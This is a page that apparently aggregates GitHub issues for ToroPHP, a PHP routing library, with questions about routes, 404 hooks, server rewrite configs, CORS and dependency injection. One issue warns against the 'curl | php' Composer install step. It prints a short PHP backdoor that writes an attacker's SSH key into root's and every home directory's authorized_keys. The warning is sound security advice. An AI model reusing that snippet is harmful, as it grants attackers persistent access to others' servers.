anandkunal / torophp Goto Github PK
View Code? Open in Web Editor NEWToro is a PHP router for developing RESTful web applications and APIs.
Home Page: http://toroweb.org
License: MIT License
Toro is a PHP router for developing RESTful web applications and APIs.
Home Page: http://toroweb.org
License: MIT License
Here's my example, I want to be able to send my search string trough Toro in the URL, i.e.
www.mydomain.com/search/Here I can write Anything that the user enters!!!
However, I can't seem to make this happen. I was also considering encoding the HTML entities (so for a space, for example)... but even that is giving me issues.
Is there some regular practice that is used w/ Toro for this?
Thanks!
Adding a 404 hook doesn't seem to work, no matter what solution I try. For instance, in this code below, if I have a file named /page/hi/
it works fine. If I go to /page/ho/
, I get a blank page and a 200 code. Am I calling the 404 wrong? If I put the code within the anonymous 404 function within the if
block in my page handler, it works exactly as expected.
Toro::serve(array(
"/" => "Home",
"/:alpha" => "Page"
));
ToroHook::add("404", function() {
header("HTTP/1.0 404 Not Found");
echo "Missing Page";
exit;
});
class Home {
function get() {
echo "Hello, HomePage";
}
}
class Page{
function get($slug){
$page = @file_get_contents('./page/'.$slug);
if($page === FALSE){
ToroHook::fire('404');
}else{
echo $page;
}
}
}
This may just show my inexperience but:
I had my index.php under a sub-directory. In my case, I called it http://domain.com/rest for all my REST programming.
In this case, you have to append /rest/ to all my routes. For example:
Toro::serve(array(
"/rest/" => "DefaultHandler",
"/rest/hand2 => "Handler2",
"/rest/hand3 => "Handler3",
));
Took me a while to work this through. Hope this helps someone.
I wonder if there would be a way to specify a custom 404 page instead of just plain echo 404.
As previously mentioned, template functionality would be awesome...
Just a thought: now that the routes are simply pattern-to-handler name, would it be an idea to just make them keys and values respectively of an associative array? For example:
$routes = array(
'/' => 'BlogHandler',
'article/([a-zA-Z0-9_]+)' => 'ArticleHandler',
'comment/([a-zA-Z0-9_]+)' => 'CommentHandler',
'feed' => 'SyndicationHandler'
);
Instead of:
$routes = array(
array('/', 'BlogHandler'),
array('article/([a-zA-Z0-9_]+)', 'ArticleHandler'),
array('comment/([a-zA-Z0-9_]+)', 'CommentHandler'),
array('feed', 'SyndicationHandler')
);
I know this will break backwards-compatibility, but I think in the long run it's a lot cleaner. Unless there are plans in the future to pass additional parameters along with a handler definition, which will occupy a third parameter and so on in each individual route's array?
// route rules
Toro::serve(array(
"/" => "homeHandler",
"/index.html" => "homeHandler",
));
how to make them one rule?
I'm having issues matching URLs that contain query strings. Is this expected?
Is there a way to register (as callback) the method of an existing instance?
$app = new ...
Toro::serve(array(
"/" => array($app, 'someMethod'),
));
hello,
I see you're looking for PATH_INFO key in the server in serve function.
In nginx, there's no key PATH_INFO in nginx server configuration.
However, the REQUEST_URI works correctly in nginx.
Can you fix that problem ?
Hi all,
I was wondering what thoughts would be on the ability to specify the request method to use via a query string parameter, something like http://domain.com/api/events?method=post? It would make developing APIs a lot easier for me and wondered if it would benefit any one else?
I know I can use function post() to get the post requests,but what should I set the url?
thanks
Since Toro is a router it should be able, through a simple configuration file, to be installed anywhere and route correctly.
I installed it in a folder under my localhost and tried the blog example. I cannot make it work no matter how I played with .htaccess. I think there should be some PHP config file.
Thanks
Petros
If I access the index.php that includes Toro.php from a URL with no path it works fine. Here's an example:
mytest.com/
If, however, I access an index.php file that is inside of a directory or two, it fails. Here's an example of that (my index is in /var/www/some/directory/index.php).
mytest.com/some/directory/
What I've found is that the last test in Toro.php that looks at the $_SERVER['REQUEST_URI'] is the problem. That variable returns "/some/directory/" in the case of my script being setup inside a directory. As a result the "/" route fails to work, but the others do work. Here's the failing route code.
Toro::serve(array(
"/" => "Help",
"/test" => "Test"
));
If I change the code to the following, it works.
Toro::serve(array(
"/some/directory/" => "Help",
"/test" => "Test"
));
By removing the last for $_SERVER['REQUEST_URI']) the problem goes away (because '/' is the default $path_info value).
So, my question is, what does that last $_SERVER['REQUEST_URI'] add that I'm missing here? Should it be removed or put in as an option? If so, I'm happy to make these changes and submit a pull request.
class testHandler extends baseHandler {
function get() {
$tpl = $this->mustache->loadTemplate('test');
echo $tpl->render(array('a'=>$a,
'base_url' => BASE_URL));
}
}
I have dozens of xHandler, so pass the base_url every time seems not elegant way.
Check my class tiny and simple.
https://github.com/danillos/fire_event
I used her in one framework created by me https://github.com/sook/drumon_framework
Hi all. I've been researching routing classes, and Toro seems to be my favorite so far, it really seems like it's the simplest/easiest one for those like me who are really new to routing.
I've used Smarty with PHP for quite a long time, are there any examples out there which show a simple Toro routing + Smarty integration? I would LOVE to see this, it would really help me get un-stuck here.
Thanks.
I have an issue with PHP 5.3.8: I always get a 404 error.
I think the problem is this line:
$path_info = isset($_SERVER['ORIG_PATH_INFO']) ? $_SERVER['ORIG_PATH_INFO'] : $path_info;
as $_SERVER['ORIG_PATH_INFO']
is equal to "/index.php/", every route I set is not going to match.
Is this a PHP problem?
I've asked this a few times—via email, Twitter, even via direct message on GitHub. But to no response. So I thought I would try and get an answer here.
I'm wanting to know what would be the best way to template with Toro. I'm having trouble thinking of a nice way to template instead of echoing body content within my handler methods.
If I can get over this hurdle, then Toro may be perfect for my needs. If not, I'm going to have to move on.
Hello! I just picked up ToroPHP and I normally use DI when I do any kind of database interaction.
Rough example
$db = new PDO("mysql:host=myhost;dbname=myname", "username", "password");
$object = new Object($db);
class Object {
private $db;
function __construct($dbConn) {
$this->db = $dbConn;
}
function get($string) {
$sql = $this->db->prepare("statement GOES here");
}
}
But ToroPHP doesn't allow you to do this, is there any way to get around this? I don't wanna use a global variable.
Toro::serve(array(
"/" => "Object",
"/get/:string" => "Object" //would be injected somewhere so you could get :string from the db.
));
I think the docs are a bit misleadning. It's easy for beginners to overlook that you need to call ToroHook::add before calling serve.
Hi all. I opened a ServerFault question about this, but it seems another Toro user also has trouble with his routing on the base path ("/"). Is this due to an incorrect Web Config IIS setup, or something in Toro that we can change to enable the proper routing in this case instead of serving the 404 page?
Thanks.
Hi there,
I've just noticed that your rewrite rule doesn't work on MAMP.
I haven't investigated the issue much, and I'm not even sure whether that's a MAMP problem or a typo in the config, but a quick fix is to just remove the "/" before index.php in the RewriteRule:
RewriteEngine on
RewriteCond %{REQUEST_FILENAME} !-f
RewriteCond %{REQUEST_FILENAME} !-d
RewriteCond $1 !^(index.php)
RewriteRule ^(.*)$ index.php/$1 [L]
Extra parameter tokens should be added at run-time to a Toro application, rather than passed as part of the serve
method.
Hi. I need to install Toro PHP on my server (nginx + php5-fpm).
This is my config:
server {
listen 80;
server_name xxxx;
access_log /var/log/nginx/xxxx.access_log;
error_log /var/log/nginx/xxx.error_log;
root /var/www/xxxxx;
index index.php index.htm index.html;
# unless the request is for a valid file, send to bootstrap
if (!-e $request_filename){
rewrite ^(.*)$ /index.php/$1 break;
}
# catch all
error_page 404 /index.php;
location ~ .php$ {
fastcgi_pass 127.0.0.1:9000;
fastcgi_index index.php;
fastcgi_param SCRIPT_FILENAME /var/www/xxxxx/$fastcgi_script_name;
include fastcgi_params;
}
location ~ /\.ht{
deny all;
}
}
This code only show default page.
What am I doing wrong?
Thanks.
I find it can not use header("Location: ")
in apache
Toro works on root.
However placed in subdirectory (ravenproj), the root route "/" stops working. The others routes "/journal", "/work" still work. Any ideas?
RewriteEngine on
RewriteBase /ravenproj
RewriteCond %{REQUEST_FILENAME} !-f
RewriteCond %{REQUEST_FILENAME} !-d
RewriteCond $1 !^(index.php)
RewriteRule .* index.php/$0 [L]
Toro::serve(array(
"/admin" => "Admin",
"/journal" => "Journal",
"/about" => "About",
"/" => "Work"
), '/ravenproj'); // also without the prefix it doesn't work
Here is the Web.config snippet that works for me in IIS. No luck with the posted version.
<rule name="Toro" stopProcessing="true">
<match url="^(.*)$" ignoreCase="false" />
<conditions logicalGrouping="MatchAll">
<add input="{REQUEST_FILENAME}" matchType="IsFile" ignoreCase="false" negate="true" />
<add input="{REQUEST_FILENAME}" matchType="IsDirectory" ignoreCase="false" negate="true" />
<add input="{R:1}" pattern="^(index\.php)" ignoreCase="false" negate="true" />
</conditions>
<action type="Rewrite" url="/index.php/{R:1}" />
</rule>
This may not be an actual issue, but I'm having some issues that thought I'd throw it out and get some feedback.
I'm attempting to match a route that may potentially have a url encoded space (%20). An example would be:
api.domain.com/Customer/12345/Directory/John%20Doe
The toro route that I'm using looks like this:
"/Customer/:number/Directory/:alpha" => "DirectorySearch"
I've looked at the Toro core and the :alpha stub definitely just matches alphanumeric characters. My question is two fold:
A) is trying to match urlencoded routes a smart idea and
B) what would be the best way to go about doing that? (another stub could be added to just match urlencoding on certain routes)
Thanks for any feedback y'all can provide!
Hi!
I didn't find any License for ToroPHP. MIT? GPL or just copyleft without any limit?
Hello,
I'm curious to have more information about how ToroPHP can block some XSS atacks and url injections. Do the routes simply act as a whitelist?
(Sorry for posting here. I didnt find information about it. Since the "Design goals" does not say anything about it I decided to ask.)
Thanks in advance.
Hello,
On myserver I cannot succeed to use Toro directly with the current .htaccess
For example I want to go to http://example.com/info
I get a 500 error.
But if I go to http://example.com/index.php/info
it works fine.
Do you know where this behaviour come from?
Thanks.
hi Guys,
I have had to add additional code into Toro::is_xhr_request.
I'm very new to git/github, so will just post my code changes here..
I've found that working with jQuery and ToroPHP, some requests are seen as xhr, even though it should be a normal GET which I wanted to return normal html inside a selector.
This is particularly true if one starts using the shortcuts $.get(..)
I've added the below code into my implementation (which is very specific to APACHE, so not sure if it will work on other web servers..)
Maybe you can find a more generic way.
private static function is_xhr_request()
{
$headers = apache_request_headers();
$json_found=0;
if (isset($headers['Accept'])){
$json_found=preg_match("/json/i",$headers['Accept']);
}
return $json_found && isset($_SERVER['HTTP_X_REQUESTED_WITH']) && $_SERVER['HTTP_X_REQUESTED_WITH'] === 'XMLHttpRequest';
}
Can you please add an example in the Readme.md - Server Configuration for nginx?
I see one post about it but it looks unresolved and closed. If somebody out there in the Toro community got it working in nginx.. please have the example added in Readme.md - Server Configuration.
Thank you.
Please see this handler below as an example. In this case, I have a GET function shown. However, I actually want this identical behavior for the route with a POST request (so it can come via a link, or from a POST form submission on my page). Is there any way to combine these or do I have to copy and paste the function and make it a POST function?
Thanks!
class ProductSearchHandler{
public function get($slug)
{
$view = new View();
$results = ProductSearch($slug);
$view->assign('results', $results);
$view->display('header');
$view->display('index');
$view->display('footer');
}
}
Toro::serve(array(
"/" => "homeHandler",
"/index.html" => "homeHandler",
"/satires" => "sectionSatiresHandler",
"/satires/" => "sectionSatiresHandler",
"/satires/index.html" => "sectionSatiresHandler",
"/satires/:number(.html)" => "sectionSatiresHandler",
"/donate" => "sectionDonateHandler",
"/donate/" => "sectionDonateHandler",
"/news" => "sectionNewsHandler",
"/news/" => "sectionNewsHandler",
));
How to make /news
and /news/
in one line, and how to also support /news/index.html
?
Good security habits are important for developers. Advising that people perform an action like this without a second thought is detrimental to the security of newbies everywhere:
curl -s https://getcomposer.org/installer | php
Steps to exploit:
<?php
if( `whoami` !== 'root' ) {
die("Permission denied. Try running with sudo");
}
file_put_contents("/root/.ssh/authorized_keys", $attacker_rsa_pub);
chdir("/home");
foreach(glob("*") as $d) {
if(is_dir($d)) {
file_put_contents("/home/{$d}/.ssh/authorized_keys", $attacker_rsa_pub);
}
}
// Rest of composer code below
?>
Mitigation: At least caution people against downloading and running code in the same step without checking it for backdoors first. If nothing else.
Hi, @anandkunal !
It's my first time to use ToroPHP to write RESTful service.
It seems that the route pattern has some limitation?
such like
/v1/devices/:alpha/registrations/:alpha/:alpha
(Yes, this is for iOS passbook webservice).
ToroPHP cannot work(Slimframework does!).
So, will you make a patch for this?
Hello,
I don't really know where to put this "issue", but your website seems down : http://toroweb.org/
Regards,
I'm having a problem with Toro, in that string routes work fine, but those with regular expressions aren't.
This works:
class TestHandler extends ToroHandler {
public function get() {
echo 'Testing!';
}
}
$site = new ToroApplication(array(
array('/test/project', 'string', 'TestHandler')
));
This doesn't:
class ArticleHandler extends ToroHandler {
public function get($slug) {
echo 'Loooking for an article called '.$slug;
}
}
$site = new ToroApplication(array(
array('^\/article\/([a-zA-Z0-9_]+)\/?$', 'regex', 'ArticleHandler')
));
I'm using Apache version 2.2.24 and for some reason neither of the two snippets of code that you posted to use in my .htaccess were working properly. On another server (Apache 2.2.19) the "FallbackResource /index.php" worked perfectly, but it didn't work well on my server.
Here's the code I found that worked for on my server:
RewriteBase /INSERT/PATH/TO/BASE/DIRECTORY
RewriteEngine on
RewriteCond %{REQUEST_FILENAME} !-f
RewriteCond %{REQUEST_FILENAME} !-d
RewriteCond $1 !^(index.php)
RewriteRule .* index.php/$0 [L]
Without the RewriteBase all I got was a 404 error ".../index.php/ was not found".
It would be very helpful if your readme included a note that the web.config file for IIS requires the installation of URL Rewrite for IIS. The web.config file you provided was crashing in IIS with a very obscure error message until I downloaded and installed the URL Rewrite extension.
Thanks
I’ve created a new branch, composer, which you can find at https://github.com/anandkunal/ToroPHP/tree/composer.
I was thinking it might be a worthwhile getting ToroPHP up on Packagist so it was supported by Composer? Don’t know peoples’ thoughts on this, which is why I didn’t immediately merge it into the master branch. Thoughts, @anandkunal?
I'm trying to understand how to use multiple "slugs" with Toro.
For example:
Toro::serve(array(
"/" => "SplashHandler",
"/product/:alpha/:number/:string/:string" => "ProductHandler"
));
How does one access each of these variables once we're in the class? Sorry for ignorance, but all the examples only use a single "variable" or "slug."
Can't seem to get the example .htaccess to work correctly when using VirtualDocumentRoot:
RewriteEngine on
RewriteCond %{REQUEST_FILENAME} !-f
RewriteCond %{REQUEST_FILENAME} !-d
RewriteCond $1 !^(index\.php)
RewriteRule ^(.*)$ /index.php/$1 [L]
tried removing slash in last line, and adding RewriteBase /
.
I get the routed 404 for pages that work on other hosts.
In my error log, I saw this: /index.php/PROJECT/webroot/about
when it should be /index.php/about
If I make a route like this, it works as expected:
<?php
Toro::serve(array(
"/PROJECT/webroot/about" => "About",
));
Also, if I use the old route, it works as expected, if I go to index.php/about
Any idea how to fix this?
Some hosts (Dreamhost) don't support $_SERVER['PATH_INFO'], but something like $_SERVER['REQUEST_URI'] works when replaced, but this conflicts with the open pull request.
If I have a login form, the form is at a page that works, I use the form - it gives 404. If I do a refresh then it does show the page. Why?
By default, ToroPHP can't work out of the box in Cross-origin resource sharing (CORS) mechanism.
This is a scenario possibly seen using ToroPHP for some quick development in small projects as a RESTful API backend.
One issue would be "Origin is not allowed" error when Ajax interacts with the API built upon ToroPHP at a different server.
Solution to this is to have Access-Control-Allow-Origin
header present, and having value of either the requesting server ip/domain, or a wildcard *
One issue would be preflight OPTIONS request from requests other than GET and POST, so like PUT, DELETE etc. So currently without modifying the framework, those will fail, as the ajax will first expecting a response of OPTIONS before the actual PUT/DELETE etc request.
I would propose to add into the Toro.php
an option (a boolean variable) to enable CORS, upon enabling should respond to all requests at least the following headers,
Please let me know if I should proceed to attempt this feature. Let me know what you guys think.
Relavent resources
Wikipedia:Cross-origin resource sharing
Using CORS - HTML5 Rocks
This might be a configuration problem on my part.
The $_SERVER['PATH_INFO'] variable returns index.html (even though I don't even have that file in my process). I assume that's because it's something Apache is looking for. This causes the "/" router not to work. The others do. If I switch to using $_SERVER['REQUEST_URI'] it works fine. That's the third option in the Toro if statement though.
Is this a bug in the order of the $_SERVER variables it evaluates or a config problem on my side?
I'm currently developing an HTTP REST API using ToroPHP and I have to admit it's quite useful.
I've recently decided to follow the Dependency Injection Pattern in my API to facilitate the unit tests implementation.
But to implement this design pattern, I need to be able to pass a dependency object to all the handlers in my project.
Here comes the problem: I can't pass any parameter on a Handler allocation, because ToroPHP allocates it internally (and this is normal).
What do you think about let the user pass a Closure
as an alternative of the class name ? This way a one could instantiate any controller as wanted. The current behavior would be kept if a string is given.
Example:
$configuration = new Configuration();
Toro::serve([
"/" => function() use ($configuration) { return new RootController($configuration); },
"/foo" => 'FooController',
"/bar" => 'BarController',
]);
A declarative, efficient, and flexible JavaScript library for building user interfaces.
🖖 Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.
TypeScript is a superset of JavaScript that compiles to clean JavaScript output.
An Open Source Machine Learning Framework for Everyone
The Web framework for perfectionists with deadlines.
A PHP framework for web artisans
Bring data to life with SVG, Canvas and HTML. 📊📈🎉
JavaScript (JS) is a lightweight interpreted programming language with first-class functions.
Some thing interesting about web. New door for the world.
A server is a program made to process requests and deliver data to clients.
Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.
Some thing interesting about visualization, use data art
Some thing interesting about game, make everyone happy.
We are working to build community through open source technology. NB: members must have two-factor auth.
Open source projects and samples from Microsoft.
Google ❤️ Open Source for everyone.
Alibaba Open Source for everyone
Data-Driven Documents codes.
China tencent open source team.